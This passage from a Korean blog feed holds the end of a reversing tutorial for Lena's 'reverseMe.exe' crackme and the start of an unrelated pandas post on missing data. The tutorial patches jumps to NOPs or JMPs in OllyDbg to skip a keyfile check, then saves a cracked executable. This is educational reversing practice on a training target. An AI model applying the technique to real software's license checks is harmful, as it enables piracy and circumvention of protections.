srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992E23335B82B60E0C&quot; width=&quot;317&quot; height=&quot;278&quot; filename=&quot;01_readfile_return_reg.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;TEST EAX, EAX: 두 오퍼렌드를 AND 연산함&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EAX가 0이므로 AND 연산 결과도 0&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JNZ SHORT reverseM.004010B4&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jump Not Zero인 경우에만 reverseM.004010B4로 분기하므로 실행되지 않음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JMP SHORT reverseM.004010F7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reverseM.004010F7로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;5) reverseM.004010F7로 분기 &lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;reverseM.004010F7로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9957013F5B82B63D34&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9957013F5B82B63D34&quot; width=&quot;900&quot; height=&quot;91&quot; filename=&quot;01_004010F7.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;분기 후 메시지박스 출력 후 프로그램 종료(MessageBoxA() -&amp;gt; ExitProcess())&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;메시지박스 내용: &quot;Keyfile is not valid. Sorry.&quot;&lt;/li&gt;
&lt;li&gt;메시지박스 내용으로 보아 리버싱에 실패했음을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 190px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9951BD3C5B82B65B09&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9951BD3C5B82B65B09&quot; width=&quot;190&quot; height=&quot;104&quot; filename=&quot;01_key_invalid_msgbox.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;6)  디버거를 다시 시작하여 ReadFile 함수 호출 어셈블리코드까지 실행&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;브레이크 포인트 설정&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 633px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9956ED3D5B82B68030&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9956ED3D5B82B68030&quot; width=&quot;633&quot; height=&quot;100&quot; filename=&quot;01_breakpoint.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;첫 번째 브레이크 포인트까지 코드 진행 후 3)번과 같이 Z플래그 임의 설정하여 reverseM.0040109A로 분기&lt;/li&gt;
&lt;li&gt;ReadFile()함수 호출 후 리턴값을  테스트하는 코드  실행, reverseM.00401B0 전 코드까지 진행&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9982433C5B82B6A436&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9982433C5B82B6A436&quot; width=&quot;900&quot; height=&quot;155&quot; filename=&quot;01_readfile_called.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseM.00401B0 코드 실행 전 Z 플래그를 임의 설정하여 reverseM.00401B4로 분기&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JNZ SHORT reverseM.004010B4: Not Zero이면 reverseM.004010B4으로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;7) reverseM.004010B4으로 분기 &lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseM.004010B4로 분기하여 코드를 어셈블리코드를 따라 실행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CMP DWORD PTR DS:[0x402173],0x10&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS:[0x402173]값을 0x10(16(dec))과 비교&lt;/li&gt;
&lt;li&gt;CMP 연산: 앞 오퍼랜드 - 뒤 오퍼랜드&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JL SHORT reverseM.004010F7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CMP의 두 오퍼랜드 중 앞 오퍼랜드가 0x10보다 작으면 reverseM.004010F7로 분기&lt;/li&gt;
&lt;li&gt;JL: Jump if Less&lt;/li&gt;
&lt;li&gt;reverseM.004010F7로 분기하게 되면 5)번의 &quot;Keyfile is not valid. Sorry&quot; 메시지박스가 출력&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JL SHORT reverseM.004010F7 코드 실행 전 까지 진행&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;S 플래그가 1로 설정됨&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;S 플래그: 연산결과 음수일때 1이 설정됨&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 775px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FF1C395B82B6CB08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FF1C395B82B6CB08&quot; width=&quot;775&quot; height=&quot;58&quot; filename=&quot;01_cmp_sflag_set.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;8) S 플래그를 0으로 임의설정하여 reverseM.004010F7로 분기하지 않고 다음 어셈블리코드 진행&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;MOV AL,BYTE PTR DS:[EBX+0x40211A] 코드를 실행할 차례이나 코드 진행 화살표를 보면 화살표가 자기 자신을 가르킴&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;반복 문인 것을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 511px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9968333D5B82B6F536&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9968333D5B82B6F536&quot; width=&quot;511&quot; height=&quot;126&quot; filename=&quot;01_loop.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;코드 실행 범위 아래 어셈블리 코드에 브레이크 포인트를 설정 하고 브레이크 포인트까지 코드 진행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CMP ESI,0x8: ESI 레지스터와 0x8과 비교&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JL SHORT reverseM.004010F7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ESI레지스터가 0x8보다 작으면 reverseM.004010F7로 분기&lt;/li&gt;
&lt;li&gt;reverseM.004010F7로 분기하게 되면 5)번의 &quot;Keyfile is not valid. Sorry&quot; 메시지 박스가 출력&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JL SHORT reverseM.004010F7 코드 실행 전 까지 진행&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;S 플래그가 1로 설정됨&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;S 플래그: 연산결과 음수일때 1이 설정됨&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ESI 레지스터 값은 0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ESI 레지스터:데이터를 조작하거나 복사할 때 데이터의 주소가 저장(Source Index)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;이전 코드들에서 ESI 레지스터에 영향을 주는 코드&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;004010B6    .  33F6                     XOR ESI,ESI: 초기화(XOR은 값이 같으면 0, 다르면 1)&lt;/li&gt;
&lt;li&gt;004010CF    .  46                       INC ESI: ESI값 1증가&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993B473E5B82B71E19&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993B473E5B82B71E19&quot; width=&quot;900&quot; height=&quot;253&quot; filename=&quot;01_cmp_esi.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;h4&gt;9) S 플래그를 0으로 임의설정하여 reverseM.00401205로 분기&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;JMP reverseM.00401205: reverseM.00401205로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9943E1415B82B7422F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9943E1415B82B7422F&quot; width=&quot;900&quot; height=&quot;86&quot; filename=&quot;01_jump_00401205.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;분기 후 메시지박스 출력 후 프로그램 종료(MessageBoxA() -&amp;gt; ExitProcess())&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;메시지박스 출력 문자열: &quot;You really did it! Congrats !!!&quot;&lt;/li&gt;
&lt;li&gt;메시지박스 내용으로 보아 리버싱에 성공했음을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 194px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BE54335B82B7601C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BE54335B82B7601C&quot; width=&quot;194&quot; height=&quot;103&quot; filename=&quot;01_success_msg.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;4. 3.9)의 메시지박스가 출력되도록 어셈블리 코드를 패치&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;여러가지 방법으로 코드를 패치할 수 있으나, 최대한 분석 한 것을 따라 코드를 패치함&lt;/li&gt;
&lt;li&gt;플래그를 임의 설정하지 않고 원하는 결과가 나오도록 코드를 패치 하기 위해 OllyDbg 다시 시작(Ctrl+F9)&lt;/li&gt;
&lt;li&gt;위의 분석 과정을 통해 브레이크포인트 설정되어 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 577px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9960C4415B82B7822E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9960C4415B82B7822E&quot; width=&quot;577&quot; height=&quot;115&quot; filename=&quot;01_breakpoint_topatch.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;1) 첫번째 브레이크 포인트까지 코드 실행, 패치&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;첫 번째 브레이크 포인트까지 이동 후 JNZ를  JMP로 코드패치하여 reverseM.0040109A로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99925C335B82B7A70B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99925C335B82B7A70B&quot; width=&quot;900&quot; height=&quot;271&quot; filename=&quot;01_1st_patch.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reverseM.0040109A로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) 두번째 브레이크 포인트까지 코드 실행, 패치&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;reverseM.0040109A로 분기한 후 F8을 눌러 코드를 실행하거나 F9를 눌러 미리 설정한 브레이크 포인트까지 실행해도 됨&lt;/li&gt;
&lt;li&gt;JNZ를  JMP로 코드패치하여 reverseM.004010B4로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999144365B82B7C135&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999144365B82B7C135&quot; width=&quot;900&quot; height=&quot;176&quot; filename=&quot;01_2nd_patch.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;3) 세번째 브레이크 포인트까지 코드 실행, 패치&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;브레이크포인트까지 실행하여 JL SHORT reverseM.004010F7을 NOP로 코드패치&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NOP: No Operation, 아무것도 하지 않음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 709px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993E6E3F5B82B7DA26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993E6E3F5B82B7DA26&quot; width=&quot;709&quot; height=&quot;192&quot; filename=&quot;01_3rd_patch.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;4) 네번째 브레이크 포인트까지 코드 실행, 패치&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;3)에서와 마찬가지로 JL SHORT reverseM.004010F7를 NOP로 코드 패치&lt;/li&gt;
&lt;li&gt;F8을 눌러 다음 코드 실행 전까지 진행&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 474px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CA873C5B82B7F51D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CA873C5B82B7F51D&quot; width=&quot;474&quot; height=&quot;51&quot; filename=&quot;01_4th_patch.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;3.9)에서 확인했듯이 JMP reverseM.00401205 코드를 실행하여 reverseM.00401205로 분기하는 경우&lt;/p&gt;&lt;p&gt;원하는 메시지박스가 출력됨&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;5. 패치한 코드를 반영하여 바이너리 저장&lt;/h3&gt;
&lt;h4&gt;1) 코드패치 리스트&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;총 4군데의 코드 패치를 수행함&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 692px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990AB13C5B82B80E16&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990AB13C5B82B80E16&quot; width=&quot;692&quot; height=&quot;116&quot; filename=&quot;01_patches.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;2)  코드패치한 부분 저장&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;변경한 부분을 마우스 드래그하여 선택 후 마우스 우클릭하여 컨텍스트메뉴에서 Copy to excitable - Selection 메뉴 선택&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993A2F4C5B82B83414&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993A2F4C5B82B83414&quot; width=&quot;900&quot; height=&quot;316&quot; filename=&quot;01_copy_selection.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;새로 뜬 창에서 마우스 우클릭하여 컨텍스트메뉴에서 save file 선택&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 713px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DF01465B82B85A03&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DF01465B82B85A03&quot; width=&quot;713&quot; height=&quot;553&quot; filename=&quot;01_savefile1.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;파일명을 &quot;reverseMe_Crack.exe&quot;로 저장&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 580px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9964DF455B82B87A35&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9964DF455B82B87A35&quot; width=&quot;580&quot; height=&quot;343&quot; filename=&quot;01_save_file_as.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseMe_Crack.exe를 실행하면 &quot;You really did it! Congrats !!!&quot; 메시지박스가 출력&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 429px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990F264E5B82B8AE28&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990F264E5B82B8AE28&quot; width=&quot;429&quot; height=&quot;151&quot; filename=&quot;01_crack_file.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;코드패치 끝 :)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>보안/Analysis</category>
      <category>LENA</category>
      <category>Lena Tutorial</category>
      <category>Lena's Reversing for Newbies</category>
      <category>reverseMe.exe</category>
      <category>Reversing</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/232</guid>
      <comments>https://eunguru.tistory.com/232#entry232comment</comments>
      <pubDate>Sun, 26 Aug 2018 23:28:21 +0900</pubDate>
    </item>
    <item>
      <title>[Pandas]  기술통계 계산 2</title>
      <link>https://eunguru.tistory.com/231</link>
      <description>
&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;pandas_statistics2&lt;/title&gt;
&lt;h1&gt;기술 통계 계산 2&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;import pandas as pd
from pandas import Series, DataFrame
import numpy as np
from numpy import nan as NA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;1. Series 객체에서 누락된 데이터 골라내기&lt;/h3&gt;
&lt;h4&gt;1) dropna 메서드 이용(대표적인 방법)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;dropna 메서드는 series 객체를 반환&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1 = Series([1, NA, 3.4, NA, 8])
s1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    1.0
1    NaN
2    3.4
3    NaN
4    8.0
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1.dropna()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    1.0
2    3.4
4    8.0
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) boolean 색인을 이용해서 직접 계산 후에 가져오기&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1.notnull()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0     True
1    False
2     True
3    False
4     True
dtype: bool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1[s1.notnull()]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    1.0
2    3.4
4    8.0
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. DataFrame 객체에서 누락된 데이터 골라내기&lt;/h3&gt;
&lt;h4&gt;1) dropna 메서드 이용&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;dropna는 기본적으로 NA값이 하나라도 있는 row는 제외됨&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data = DataFrame([[1,5,5,3],
                [1,NA,NA],
                [NA,NA,NA],
                [NA,3.3,3]])
data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
